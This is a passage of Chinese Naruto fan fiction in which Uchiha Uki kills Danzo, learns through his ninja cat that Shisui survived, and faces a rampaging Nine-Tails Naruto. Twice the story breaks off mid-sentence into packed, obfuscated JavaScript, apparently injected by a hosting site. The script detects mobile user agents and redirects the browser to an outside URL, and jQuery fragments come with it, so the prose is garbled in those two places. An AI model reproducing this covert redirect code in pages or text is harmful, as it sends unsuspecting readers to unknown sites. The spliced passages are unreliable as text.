他说。然后转身,朝出口方向走去。 脚步声越来越远。最后消失在通道尽头。 羽怀站在原地,站了两秒。 然后他转身,继续往前走。 —— 最底层。 通道变得狭窄,尽头有一扇门。 门是开着的。 羽怀走进去,进入了一个实验室。 实验室的灯光很暗。借着光线,能看到各种仪器和设备堆在角落,上面的显示屏里跳动着看不懂的数据。 实验室中央,志村团藏站在那里。 他面对着门口,那只独眼盯着羽怀。左眼眶里的写轮眼泛着猩红的光。右臂的绷带已经解开了,露出的手臂上密密麻麻嵌着十几只写轮眼,有些睁着,有些闭着,都在缓缓转动。 “宇智波羽怀。”团藏开口,声音平静得像在念报告,“我低估你了。” 羽怀没有说话。他只是走进来,在离团藏五步远的地方站定。 刀尖抵着地面。血还在滴。 团藏看着他,看着那张沾满血的脸,看着那双三勾玉写轮眼。 “十三支小队,五十二名根部忍者。”他说,“全死了。一个都没跑出来。” 羽怀没有回应。 “你是怎么做到的?”团藏问。 羽怀的嘴角动了一下。 那是笑。 很淡。淡得像没有。 “你想知道?”他说,“去问他们。” 团藏的眉头动了动。 “有意思。”他说,“我觉得,以你的能力肯定会理解我的做法。” “无论是宇智波,还是九尾,都是不可控的强大力量,以你的经验,应该知道这意味着什么。” 团藏抬起右臂。那些写轮眼同时转动,十几道猩红的光在昏暗的房间里闪烁。 “如果我是云隐的高层,我肯定会派间谍到宇智波一族,让他们和云隐里应外合,拿下木叶。如果是你,你会怎么做?” “说完了吗?” 羽怀将眼中的瞳力分布在一些关键的地方。团藏能偷袭止水成功,说明他肯定有一些底牌。 他的想法很简单,在团藏反应过来之前,直接秒了对方。 至于团藏说的那些话,他完全没放在心上。 只说宇智波要造反,却不说宇智波为什么要造反。政客的小技巧罢了。 “你不会真的觉得,你能杀掉我吧?” 团藏明显卡了一下。 “你哥哥止水都死在了我的手上。”他说,“你也不例外。” 羽怀没有说话。团藏只是又在激怒他而已。 他只是看着团藏,看着那只止水的眼睛,看着那些嵌在手臂上的写轮眼。 “而且,”团藏继续说,嘴角浮起一丝笑,“你进来之前,应该见过那个小鬼了吧?” 羽怀的手指动了动。 “别天神,你哥哥的瞳术。”团藏说,“我对他用了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396912|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他顿了顿。 “只要我死,别天神的术式就会触发。九尾会暴走。那个小鬼,会死。” 他欣赏着羽怀脸上的表情变化。 “你杀不了我。”他说,“不是因为杀不掉。是因为你不敢。” 沉默。 羽怀站在那里,一动不动。 团藏等了两秒。三秒。五秒。 羽怀还是没动。 团藏的眉头皱起来。 “你以为我在骗你?”他说,“你可以试试。看看那个小鬼死不死——” “说完了?” 羽怀的声音打断了他。 团藏愣了一下。 羽怀抬起头。 昏暗的灯光落在他脸上。那张沾满血的小脸上,嘴角慢慢勾起一个弧度。 不是孩子的笑。 是另一种东西。 “说完了,”羽怀说,“那你可以去死了。” 瞬身术发动。 太快了。 团藏的眼睛甚至没来得及捕捉到那道身影。他只看见一道刀光,只是一条细细的、几乎看不见的线,就像海平面上遥远的那一道白线。 然后团藏的右臂离开了身体。 砰。 手臂落在地上。鲜血从断口喷出来,溅在仪器上,也溅在团藏自己脸上。 团藏低下头,看着自己的断臂。那上面,一颗写轮眼正在缓缓闭合,那是伊邪那岐发动的征兆。 但他的手臂仍旧断了。 手臂断了,剧痛袭来,让团藏的面部表情一阵扭曲。 伊邪那岐没有生效。 “怎么——” 他的声音卡在喉咙里。 羽怀站在他面前。刀尖指着他的喉咙。那双三勾玉写轮眼里,浮现出一个诡异的图案。 刀刃组成的风车。 万花筒。 “你的眼睛,”团藏的声音有些抖,“是万花筒——” 羽怀没有说话。 他只是看着团藏,看着那只止水的眼睛。 “我不知道你从哪得到的我们宇智波一族的秘术,但你没有机会了。” 团藏果然有底牌,还好他直接开了万花筒压制。 团藏的瞳孔猛地收缩。 他看向地上那条断臂。那颗写轮眼确实是闭上了,那是伊邪那岐消耗的证明。但他没有恢复。没有重来。 为什么? “你的瞳力——”团藏开口。 没有继续和团藏废话,羽怀的手腕发力,刀刃横向切割。 “你——”团藏开口。 刀光闪过。 团藏的头颅飞起来。 在空中转了两圈,落在地上,滚到墙角。 那只止水的眼睛还在眼眶里,睁着,猩红的光慢慢暗淡下去。三颗勾玉缓缓停止转动,最后变成死灰色。 无头的身体晃了晃,向前倾倒,砸在地上,发出沉闷的声响。 羽怀收刀入鞘。 他站在那里,低头看着团藏的尸体。看着那条断臂上那些缓缓闭合的写轮眼。九颗。加上那颗已经闭上的,正好十颗。 不知道是哪些族人的遗物,还能不能找到家属。 羽怀深吸一口气,又缓缓吐出。 左眼眶里传来刺痛。瞳力消耗得太多了。视力又模糊了一点。 但他没有时间管这些。 他打算将自己的通灵兽召唤出来,将团藏的手臂送回族里。 至于团藏死前说的,关于鸣人的那些话,他其实并没有太在意。 他早在第一次见到鸣人的时候就觉得这里有阴谋,所以特地留了后手。 再次见到鸣人的时候,他已经感受到自己的小忍术被触发了,而鸣人也没有被控制的迹象。 他能快速解决掉团藏其实并不是偶然。 在叛出木叶的时候,他其实就隐约察觉到了什么,而在发现那些根部忍者根本不了解自己的实力后,他基本肯定了自己的猜测。 自己的任务报告应该都是村子的高级机密。 或者说,自己的实力被三代和自来也特意隐瞒了,隐瞒对象就是团藏。 三代可能从来没想过从团藏手中和平的拿回权力,他想得可能就是让自己在未来的几年里,正面和团藏斗,然后夺取根部的权力。 只不过他现在提前往前走了一步,不过大概也还在三代的预料之中。 这其实不是坏事,团藏死了对大家都好。而砍了团藏后的烂摊子也有三代和自来也帮忙收拾,也不用担心其他忍村趁虚而入。 现在他要做的就是把团藏的那条手臂送回族里,也不知道自己的那只忍猫愿不愿意干这个脏活。 20.第 20 章 羽怀抬起左手,准备结印。 “喵。” 一声猫叫从脚边传来。 羽怀低头。 一只黑猫蹲在他腿边,尾巴在身后慢悠悠地晃着。琥珀色的眼睛在昏暗中亮着。 是他的忍猫。当然这只忍猫给自己取了个名字,叫做九条。 羽怀的眉头皱起来。 “你怎么自己出来了?” 九条没回答。 它抬起头,看着羽怀。那双猫眼里,突然浮现出一种羽怀从未见过的神情,悲伤、疲惫、还有一点点释然。 然后它开口了。 但发出的不是猫叫。 而是止水的声音。 “羽怀……” 那声音虚弱,断断续续,像是临终前用尽全力挤出来的遗言。 “别怪我……村子和族人……我没办法选……” 羽怀的瞳孔猛地收缩。 他的手按上刀柄。 九条继续说,声音越来越轻:“替我……照顾好鼬……还有……” 它顿了顿。 “喵。” 最后那一声,是它自己加的。 羽怀站在原地,一动不动。 他盯着九条,盯着那双琥珀色的眼睛。脸上的表情僵住了。 九条眨了眨眼。 然后它收起那副悲伤的神情,用正常的声音说:“怎么样?我练了一路。止水说我模仿得有七分像。” 羽怀没说话。 九条歪着头看他:“像不像?” 羽怀深吸一口气。 又深吸一口气。 他想骂人。 但他张了张嘴,什么都没骂出来。 眼眶不知道为什么,有点热。 “你——”他开口,声音有些干涩。 “止水让我带的话。”九条打断他,尾巴晃了晃,“他说你听到这个肯定会生气。但生气总比难过好。” 羽怀的嘴唇动了动。 “他还活着。”九条说,“活得好好的。眼睛也长回来了。” 羽怀愣了一下。 “长回来了?” “嗯。”九条点头,“虽然瞳力没了,写轮眼用不了。但能看见。” 羽怀没有说话。 活着。 止水活着。 眼睛也恢复了。 这两个消息在他脑子里转了一圈,又一圈。 九条从背后掏出一张纸,不知道它藏在哪里的,然后用爪子递过来。 “他的新遗言。”它说,“不对,是信。” 羽怀接过那张纸。 展开。 上面是止水的字迹,他认得。潦草,但每一笔都收得很利落。 但内容,并不是遗言。 “羽怀,如果你看到这封信,说明我死了——” 羽怀的眉头动了一下。 “骗你的。” 他的手指收紧了。 “我写这封信的时候,确实以为自己要死了。所以这封信里写的,都是我当时想对你说的话。但现在我活着,所以你可以选择: 选项一:把它当遗言,哭一场。 选项二:把它当笑话,笑一场。 选项三:来找我,当面骂我一顿。 我建议你选三。因为一,我不想让你哭。二,我写的真的不好笑。 ——止水,写于以为自己要死的那天晚上。” 羽怀盯着那张纸。 盯了很久。 然后他把信纸折起来,塞进怀里。 “不好笑。”他说。 九条歪头看他:“那你眼眶红什么?” “血溅进去了。” “哦。”九条点头,“那你手抖什么?” “杀的太多,抽筋。” “哦。”九条继续点头,“那你——” “闭嘴。” 九条闭上嘴。 但那双琥珀色的眼睛里,分明带着笑意。 羽怀深吸一口气,把那股莫名的情绪压下去。 “这封信,”他开口,声音恢复了平静,“是止水写的?” “是。” “他亲自交给你的?” “是。” 羽怀的眉头皱起来。 “鼬亲眼看见他跳崖的。”他说,“鼬不会骗我。” 九条沉默了一瞬。 “如果……”它慢慢说,“如果鼬当时以为他死了,但他其实没死呢?” 羽怀没有说话。 “如果鼬回来的时候,整个人都是懵的,满脑子都是‘止水死了我该怎么跟羽怀说’,所以他没仔细确认尸体呢?” 羽怀的手指动了动。 “如果……”九条的声音变得更轻,“如果鼬不是骗你,是他自己也被人骗了呢?” 羽怀抬起头。 九条看着他,那双猫眼里,倒映着地下研究所昏暗的灯光。 “羽怀,你有没有想过——鼬那个状态,真的有能力确认止水的生死吗?” 羽怀沉默了。 他想起了鼬。 想起他蹲在家门口电线杆上的样子,想起他脸上那两道血痕,想起他倒在自己怀里时说的那句“别回去”。 鼬那个状态…… 确实没办法确认什么。 “总之,”羽怀开口,声音有些沙哑,“除非他现在出现在我面前,否则我不会承认的。” “你是在闹别扭吗?你不是自诩专业忍者吗?”九条说,“止水的伤势都好了。眼睛也长回来了。他和鼬在一起,正往这边赶。” 羽怀的眉头动了动。 “往这边赶?” “嗯。”九条点头,“止水说,让你等着。他要亲自跟你解释。” 羽怀没说话。 他站在那里,低头看着手里的刀。刀刃上的血已经干了,结成深褐色的痂。 “现在安慰我已经晚了。”他说。 九条歪头:“为什么?” “我已经叛村了。” 九条眨了眨眼。 “那又怎样?”它说,“止水也差点死了。鼬也差点疯了。你们兄弟三个,正好凑一桌。” 羽怀的嘴角动了动。 没笑出来。 但也没反驳。 然而就在这时,一股庞大的查克拉从通道深处涌来。 羽怀的瞳孔猛地收缩。 那是九尾的查克拉。 他转身,朝通道的方向看去。 —— 通道另一端。 卡卡西抱着鸣人在狂奔。 他的侧腰还在渗血。刚才那一刀虽然只是影分身,但团藏本体那一刀刺穿的是他实体的侧腰。他躲得快,只被捅穿了一层皮肉,没有伤到内脏。但血还是流了不少。 鸣人被夹在他腋下,小脸涨得通红。 “热……”他的声音断断续续,“好热……” 卡卡西的脚下顿了一下。 他低头看向鸣人。 那张小脸上,泛起不正常的潮红。蓝色的眼睛里,瞳孔正在快速地放大收缩。 与此同时,属于九尾的查克拉破开封印,快速向外涌去。 鸣人没有被逼到极限,也没有情绪失控,为什么会这样? 难道是团藏做了什么手脚? 卡卡西的脸色变了。 他停下脚步,把鸣人放下来。 鸣人双脚落地,身体晃了晃,扶住墙才站稳。 卡卡西蹲下身,盯着鸣人的眼睛,那双眼睛已经开始泛红。 “别说话。”他说,“压制住它。” 鸣人愣住了。 压制住……什么? 然后他感觉到了。 肚子里那个东西,在动。 在说话。 在命令他。 “宇智波……杀……” 鸣人的身体猛地一颤。 九尾的查克拉从他体内涌出。 那股查克拉是红色的,狂暴且满恶意。 查克拉在空气中凝聚,快速形成一只巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404385|198619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的爪子虚影,朝着通道深处,狠狠拍去。 轰—— 一声巨响传来。 通道的墙壁如同豆腐一般,瞬间崩塌了一半。 卡卡西拉着鸣人向后退,避开落石。 “鸣人!”他喊。 但鸣人没有回应。 他的眼睛已经完全变成了红色。脸上的胡须纹路变得更粗,更深。六条尾巴一样的查克拉在他身后凝聚,剧烈地晃动。 “宇智波……”他的声音变了,低沉,嘶哑,像另一个人,“……杀……” 卡卡西的手按在腰间的苦无上。 但他没有动。 他不能对鸣人出手。那是老师唯一的孩子。 而且他也没有什么对付九尾的好办法。 但他必须让鸣人停下来。 否则—— “哎呀呀——” 一个声音从烟尘中传来。 卡卡西猛地抬头。 烟尘散尽。 两个人站在通道中央。 一个穿着灰色和服,面色苍白,竖瞳。嘴角挂着笑。 那是大蛇丸。 另一个戴着虎皮面具,只露出右眼。那只眼睛是猩红色的,三颗勾玉在里面缓缓旋转。他穿着一件黑色外衣,身材挺拔,头发很长,垂到腰部。 卡卡西的瞳孔收缩了一下。 那只眼睛,是写轮眼。 而且不是普通的写轮眼。 “旗木卡卡西。”大蛇丸开口,声音慢条斯理,“好久不见。” 卡卡西没有回应。 他的目光落在那个人身上。 “这位是——” “宇智波斑。”那个人开口,声音低沉沙哑,“初次见面。” 卡卡西的手指收紧了。 宇智波斑? 那个传说中的男人?和千手柱间一同创立木叶村的宇智波一族族长。 “别紧张。”大蛇丸笑了笑,“我们不是来杀你的。我们是来——” 他顿了顿,目光落向鸣人。 “看戏的。” 鸣人站在那里,九尾的查克拉在他身后翻涌。 他的眼睛死死盯着那个自称宇智波斑的人。 “你……”他的声音嘶哑,“你的眼睛……和那个爷爷一样……冷……” 面具下,那只猩红的右眼微微眯起。 “有意思。”那个男人说,“九尾的小鬼,居然能感觉到这个。” 他向前走了一步。 卡卡西挡在鸣人面前。 “别靠近他。” 那个男人停下脚步。 他看着卡卡西,看着那只露出的左眼,那只带土的写轮眼。 然后他抬起手,指向鸣人。 “万花筒瞳术,别天神。”他说,“团藏最后的礼物。他的目标其实是九尾。而下达的命令是,杀光宇智波。” 卡卡西的呼吸停了一瞬。 杀光宇智波。 团藏的别天神并不是对鸣人释放的,而是对九尾。 “一旦九尾暴走,”那个男人继续说,“宇智波族地会变成废墟。木叶会再经历一次九尾之乱。而团藏……” 他顿了顿。 “就算死了,也能达成目的。” 卡卡西没有说话。 他只是站在鸣人面前,挡住那两个不速之客的视线。 身后,鸣人的呼吸越来越重。 九尾的查克拉越来越浓。 通道深处,脚步声传来。 很轻,很快。 卡卡西回头。 羽怀站在那里。 手里握着刀。脸上还沾着血。 他看了一眼卡卡西,又看了一眼鸣人,最后看向那两个人。 大蛇丸。 还有那个自称宇智波斑的男人。 “羽怀。”卡卡西开口。 羽怀没有回应。 他只是看着鸣人,看着那些翻涌的红色查克拉。 他早就知道,事情没这么简单。